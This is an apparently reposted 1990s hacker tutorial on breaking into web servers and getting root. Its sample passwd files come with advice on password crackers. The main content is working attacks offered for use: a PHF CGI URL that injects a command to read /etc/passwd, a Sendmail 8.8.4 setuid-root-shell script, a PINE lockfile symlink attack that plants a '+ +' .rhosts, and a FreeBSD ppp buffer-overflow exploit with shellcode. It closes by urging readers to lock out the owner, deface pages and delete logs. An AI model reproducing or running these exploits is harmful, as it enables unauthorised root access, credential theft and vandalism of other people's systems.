Well sd wrote one of the most helpful unix text files in hacker space but with
the mail that we recieved after the release of our famous 36 page Unix Bible we
realised that unix isn't for everybody so we decided that we should write on
another aspect of hacking..... Virtual Circuit and Psychotic is proud to release,
"Hacking Webpages With a few Other Techniques." We will discuss a few various
ways of hacking webpages and getting root. We are also going to interview and
question other REAL hackers on the subjects.
Getting the Password File Through FTP
Ok well one of the easiest ways of getting superuser access is through anonymous
ftp access into a webpage. First you need learn a little about the password file...
root:User:d7Bdg:1n2HG2:1127:20:Superuser
TomJones:p5Y(h0tiC:1229:20:Tom Jones,:/usr/people/tomjones:/bin/csh
BBob:EUyd5XAAtv2dA:1129:20:Billy Bob:/usr/people/bbob:/bin/csh
This is an example of a regular encrypted password file. The Superuser is the part
that gives you root. That's the main part of the file.
root:x:0:1:Superuser:/:
ftp:x:202:102:Anonymous ftp:/u1/ftp:
ftpadmin:x:203:102:ftp Administrator:/u1/ftp
This is another example of a password file, only this one has one little difference
, it's shadowed. Shadowed password files don't let you view or copy the actual
encrypted password. This causes problems for the password cracker and dictionary
maker(both explained later in the text). Below is another example of a shadowed
password file:
root:x:0:1:0000-Admin(0000):/:/usr/bin/csh
daemon:x:1:1:0000-Admin(0000):/:
bin:x:2:2:0000-Admin(0000):/usr/bin:
sys:x:3:3:0000-Admin(0000):/:
adm:x:4:4:0000-Admin(0000):/var/adm:
lp:x:71:8:0000-lp(0000):/usr/spool/lp:
smtp:x:0:0:mail daemon user:/:
uucp:x:5:5:0000-uucp(0000):/usr/lib/uucp:
nuucp:x:9:9:0000-uucp(0000):/var/spool/uucppublic:/usr/lib/uucp/uucico
listen:x:37:4:Network Admin:/usr/net/nls:
nobody:x:60001:60001:uid no body:/:
noaccess:x:60002:60002:uid no access:/:
webmastr:x:53:53:WWW Admin:/export/home/webmastr:/usr/bin/csh
pin4geo:x:55:55:PinPaper Admin:/export/home/webmastr/new/gregY/test/pin4geo:/bin
/false
ftp:x:54:54:Anonymous FTP:/export/home/anon_ftp:/bin/false
Shadowed password files have an "x" in the place of a password or sometimes they
are disguised as an * as well.
Now that you know a little more about what the actual password file looks like you
should be able to identify a normal encrypted pw from a shadowed pw file. We can
now go on to talk about how to crack it.
Cracking a password file isn't as complicated as it would seem, although the files
vary from system to system. 1.The first step that you would take is to download or
copy the file. 2. The second step is to find a password cracker and a dictionary
maker. Although it's nearly impossible to find a good cracker there are a few ok
ones out there. I recomend that you look for Cracker Jack, John the Ripper, Brute
Force Cracker, or Jack the Ripper. Now for a dictionary maker or a dictionary file.
When you start a cracking prog you will be asked to find the the password file.
That's where a dictionary maker comes in. You can download one from nearly every
hacker page on the net. A dictionary maker finds all the possible letter
combinations with the alphabet that you choose(ASCII, caps, lowercase, and numeric
letters may also be added) . We will be releasing our pasword file to the public
soon, it will be called, Psychotic Candy, "The Perfect Drug." As far as we know it
will be one of the largest in circulation. 3. You then start up the cracker and
follow the directions that it gives you.
The PHF Technique
Well I wasn't sure if I should include this section due to the fact that everybody
already knows it and most servers have already found out about the bug and fixed it.
But since I have been asked questions about the phf I decided to include it.
The phf technique is by far the easiest way of getting a password file(although it
doesn't work 95% of the time). But to do the phf all you do is open a browser and
type in the following link:
http://webpage_goes_here/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd
You replace the webpage_goes_here with the domain. So if you were trying to get the
pw file for www.webpage.com you would type:
http://www.webpage.com/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd
and that's it! You just sit back and copy the file(if it works).
Telnet and Exploits
Well exploits are the best way of hacking webpages but they are also more
complicatedthen hacking through ftp or using the phf. Before you can setup an
exploit you must
first have a telnet proggie, there are many different clients you can just do a
netsearch and find everything you need.
It’s best to get an account with your target(if possible) and view the glitches
from
the inside out. Exploits expose errors or bugs in systems and usually allow you
to gain root access. There are many different exploits around and you can view
each
seperately. I’m going to list a few below but the list of exploits is endless.
This exploit is known as Sendmail v.8.8.4
It creates a suid program /tmp/x that calls shell as root. This is how you set it
up:
cat << _EOF_ >/tmp/x.c
#define RUN "/bin/ksh"
#include<stdio.h>
main()
{
execl(RUN,RUN,NULL);
}
_EOF_
#
cat << _EOF_ >/tmp/spawnfish.c
main()
{
execl("/usr/lib/sendmail","/tmp/smtpd",0);
}
_EOF_
#
cat << _EOF_ >/tmp/smtpd.c
main()
{
setuid(0); setgid(0);
system("chown root /tmp/x ;chmod 4755 /tmp/x");
}
_EOF_
#
#
gcc -O -o /tmp/x /tmp/x.c
gcc -O3 -o /tmp/spawnfish /tmp/spawnfish.c
gcc -O3 -o /tmp/smtpd /tmp/smtpd.c
#
/tmp/spawnfish
kill -HUP `/usr/ucb/ps -ax|grep /tmp/smtpd|grep -v grep|sed s/"[ ]*"// |cut -d" "
-f1`
rm /tmp/spawnfish.c /tmp/spawnfish /tmp/smtpd.c /tmp/smtpd /tmp/x.c
sleep 5
if [ -u /tmp/x ] ; then
echo "leet..."
/tmp/x
fi
and now on to another exploit. I’m going to display the pine exploit through linux.
By watching the process table with ps to see which users are running PINE, one
can then do an ls in /tmp/ to gather the lockfile names for each user. Watching
the process table once again will now reveal when each user quits PINE or runs
out of unread messages in their INBOX, effectively deleting
the respective lockfile.
Creating a symbolic link from /tmp/.hamors_lockfile to ~hamors/.rhosts(for a
generic example) will cause PINE to create ~hamors/.rhosts as a 666 file with
PINE's process id as its contents. One may now simply do an echo "+ +" > /tmp/
.hamors_lockfile, then rm /tmp/.hamors_lockfile.
This was writen by Sean B. Hamor…For this example, hamors is the victim while
catluvr is the attacker:
hamors (21 19:04) litterbox:~> pine
catluvr (6 19:06) litterbox:~> ps -aux | grep pine
catluvr 1739 0.0 1.8 100 356 pp3 S 19:07 0:00 grep pine
hamors 1732 0.8 5.7 249 1104 pp2 S 19:05 0:00 pine
catluvr (7 19:07) litterbox:~> ls -al /tmp/ | grep hamors
- -rw-rw-rw- 1 hamors elite 4 Aug 26 19:05 .302.f5a4
catluvr (8 19:07) litterbox:~> ps -aux | grep pine
catluvr 1744 0.0 1.8 100 356 pp3 S 19:08 0:00 grep pine
catluvr (9 19:09) litterbox:~> ln -s /home/hamors/.rhosts /tmp/.302.f5a4
hamors (23 19:09) litterbox:~> pine
catluvr (11 19:10) litterbox:~> ps -aux | grep pine
catluvr 1759 0.0 1.8 100 356 pp3 S 19:11 0:00 grep pine
hamors 1756 2.7 5.1 226 992 pp2 S 19:10 0:00 pine
catluvr (12 19:11) litterbox:~> echo "+ +" > /tmp/.302.f5a4
catluvr (13 19:12) litterbox:~> cat /tmp/.302.f5a4
+ +
catluvr (14 19:12) litterbox:~> rm /tmp/.302.f5a4
catluvr (15 19:14) litterbox:~> rlogin litterbox.org -l hamors
now on to another one, this will be the last one that I’m going to show.
Exploitation script for the ppp vulnerbility as described by no one to date, this
is NOT FreeBSD-SA-96:15. Works on
FreeBSD as tested. Mess with the numbers if it doesnt work. This is how you set
it up:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#define BUFFER_SIZE 156 /* size of the bufer to overflow */
#define OFFSET -290 /* number of bytes to jump after the start
of the buffer */
long get_esp(void) { __asm__("movl %esp,%eax\n"); }
main(int argc, char *argv[])
{
char *buf = NULL;
unsigned long *addr_ptr = NULL;
char *ptr = NULL;
char execshell[] =
"\xeb\x23\x5e\x8d\x1e\x89\x5e\x0b\x31\xd2\x89\x56\x07\x89\x56\x0f" /* 16
bytes */
"\x89\x56\x14\x88\x56\x19\x31\xc0\xb0\x3b\x8d\x4e\x0b\x89\xca\x52" /* 16
bytes */
"\x51\x53\x50\xeb\x18\xe8\xd8\xff\xff\xff/bin/sh\x01\x01\x01\x01" /* 20
bytes */
"\x02\x02\x02\x02\x03\x03\x03\x03\x9a\x04\x04\x04\x04\x07\x04"; /* 15
bytes, 57 total */
int i,j;
buf = malloc(4096);
/* fill start of bufer with nops */
i = BUFFER_SIZE-strlen(execshell);
memset(buf, 0x90, i);
ptr = buf + i;
/* place exploit code into the buffer */
for(i = 0; i < strlen(execshell); i++)
*ptr++ = execshell[i];
addr_ptr = (long *)ptr;
for(i=0;i < (104/4); i++)
*addr_ptr++ = get_esp() + OFFSET;
ptr = (char *)addr_ptr;
*ptr = 0;
setenv("HOME", buf, 1);
execl("/usr/sbin/ppp", "ppp", NULL);
}
Now that you’ve gotten root "what’s next?" Well the choice is up to you but I
would recommend changing the password before you delete or change anything. To
change their password all you have to do is login via telnet and login with your
new account. Then you just type: passwd and it will ask you for the old password
first followed by the new one. Now only you will have the new pw and that should
last for a while you can now upload you pages, delete all the logs and just plain
do your worstJ Psychotic writes our own exploits and we will be releasing them
soon, so keep your eyes open for them. We recommend that if you are serious about
learing ethnical hacking that you download our Unix Bible.
No comments:
Post a Comment